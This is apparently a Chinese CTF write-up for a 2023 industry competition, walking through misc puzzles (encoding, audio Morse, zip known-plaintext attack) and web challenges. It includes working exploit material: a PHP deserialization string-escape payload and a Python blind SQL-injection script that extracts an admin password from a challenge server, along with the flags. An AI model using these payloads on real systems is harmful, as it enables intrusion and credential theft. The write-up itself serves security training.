您现在的位置是：首页 >技术交流 >2023 某行业-CTF网站首页技术交流

misc

misc1

%26%2365%3B%26%2376%3B%26%2390%3B%26%23107%3B%26%23121%3B%26%2389%3B%26%2377%3B%26%2366%3B%26%2390%3B%26%2351%3B%26%2355%3B%26%23120%3B%26%23102%3B%26%23119%3B%26%2369%3B%26%2371%3B%26%23105%3B%26%23121%3B%26%2357%3B%26%2367%3B%26%2399%3B%26%23101%3B%26%23106%3B%26%23102%3B%26%23100%3B%26%23122%3B%26%2386%3B%26%2384%3B%26%23103%3B%26%23111%3B%26%23102%3B%26%2387%3B%26%23116%3B

urlDecode->htmlDecode->base58

misc2

1张png图片，binwalk分析并分离出mp3文件以及压缩包

用audacity打开mp3文件，查看声道，发现最后面存在一段摩斯电码

将其取出来

 -.. ....- ...-- ----. -.... ...-- . ----. ..--- -... ----- .---- ..--- .- .- -...

测试一下，是16的md5值
解密为：n1ce_try

使用n1ce_try作为压缩包密码，得到flag.png
获取flag如下：

flag{Angels_watch_over_you}

misc3

存在零宽字符，尝试解密

得到提示信息

Holly,I know there is a difference between upper and lower case of "angelcup" ,like a-aa n-nn g-gg e-ee l-ll and so on...
Wish U find~

根据提示信息，将angelcup中的出现的字母换为单个字母即可

import base64
data = '50x.html中的base64字符串'
lis = ["AA", "NN", "GG", "LL", "EE", "CC", "UU", "PP"]
for i in lis:
    data = data.replace(i, i[0])
with open("flag.png", "wb") as f:
    f.write(base64.b64decode(data))

misc4

导出HTTP对象，得到tmp.zip以及几张png图片

根据压缩方法及加密算法，尝试明文攻击

获取密钥： 5b6eeca3 254ebbe5 7719424d
利用得到的密钥k生成一个新的压缩包并且设定密码

解压得到压缩包中的内容，接着将PPT改为ZIP后缀，在pptembeddings下面的Workbook1.xlsx找到flag

flag{tHI5_f1A9_I5_5o_hid3_Bu7_you_f1nD_i7}

Web

Web1

根据题目信息提示 ：信息收集直接扫描网站，发现存在www.zip解压压缩包，共计两个文件 index.php以及f1ooog.txt我们直接访问f1ooog.txt即可得到flag

Web2

<?php
  error_reporting(0);
function filter($name)
{
  $safe = array(
    "flag",
    "php"
  );
  $name = str_replace($safe, "hack", $name);
  return $name;
}
class test
{
  var $user;
  var $pass = 'daydream';
  function __construct($user)
  {
    $this->user = $user;
  }
}
if (isset($_GET['p'])) {
  $param   = $_GET['p'];
  $param   = serialize(new test($param));
  $profile = unserialize(filter($param));
  if ($profile->pass == 'escaping') {
    echo file_get_contents("flag.php");
  }
} else {
  highlight_file(__FILE__);
}
?>

反序列化字符串逃逸，可参考我另一篇文章：PHP反序列化字符串溢出
构造payload：

p=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

flag{the_king_of_ser_hiter!}

Web3

根据题目要求编写脚本即可:

import requests,re,time
session=requests.Session()
for i in range(20):
	url = "http://111.74.9.131:10085/"
	req = session.get(url)
	print(req.text)
	num = re.findall("<div>(.*?)</div>",req.text)
	print(num)
	num = "".join(num).split("=")
	#print(num)
	jieguo = eval(num[0])
	answer=''
	if jieguo == int(num[1]):
		answer="true"
	else:
		answer="false"
	print(answer)
	time.sleep(1)
	x2 = session.post(url, data={"answer":answer}, verify=False)
	print(x2.text)

Web5

swp源码泄露

<?php
//   error_reporting(0);
  $dbhost = "db";
  $dbuser = "root";
  $dbpass = "root";
  $db = "ctf";
  $conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db);
  mysqli_set_charset($conn,"utf8");

  /* sql

     create  table `admin` (
        `id` int(10) not null primary key auto_increment,
        `user` varchar(50) not null ,
        `pass` varchar(50) not null
     );
  */
function   filter($str){
      $filterlist = "/user|pass|where|case|when|like|regexp|into|limit|=|for|;|(|)/";
      if(preg_match($filterlist,strtolower($str))){
        die("hacker!");
      }
      return $str;
  }
$username = isset($_POST['user'])?filter($_POST['user']):die("please input username!");
$password = isset($_POST['pass'])?filter($_POST['pass']):die("please input password!");
$sql = "select * from admin where  user = '$username' and pass = '$password' ";
$res = $conn -> query($sql);

if($res->num_rows>0){
  $row = $res -> fetch_assoc();
  if($row['id']){
     echo $row['user'];
  }
}else{
   echo "keep on !";
}
/*
   提交的flag格式为flag{小写字母数字组合}
 */
?>

注入，根据提供的源码提示，猜测flag是admin密码
编写注入脚本：

import requests  
  
def makeStr(begin,end):  
	str=""  
	for i in range(begin,end):
		str+=chr(i)
	return str  
def getPassword():
	url="http://111.74.9.131:18001/index.php"
	testStr = makeStr(48,127)
	payload = "admin' union distinct select -1,2,binary 0x{hex} order by 3 desc, 1 DESC#"
	flag = ""
	for _ in range(32):
		for i in testStr:
			data = {"user":payload.format(hex=(flag+i).encode().hex()),"pass":'1'}
			res = requests.post(url,data)
			#print(res.text)
			if "admin" not in res.text:
				flag= flag+chr(ord(i)-1)
				print("flag:"+flag)
				break
			else:
				pass
  
if __name__== '__main__':
	getPassword()

flag{4e9b954bc4bd3cd5ba6ea9335fbe4b41}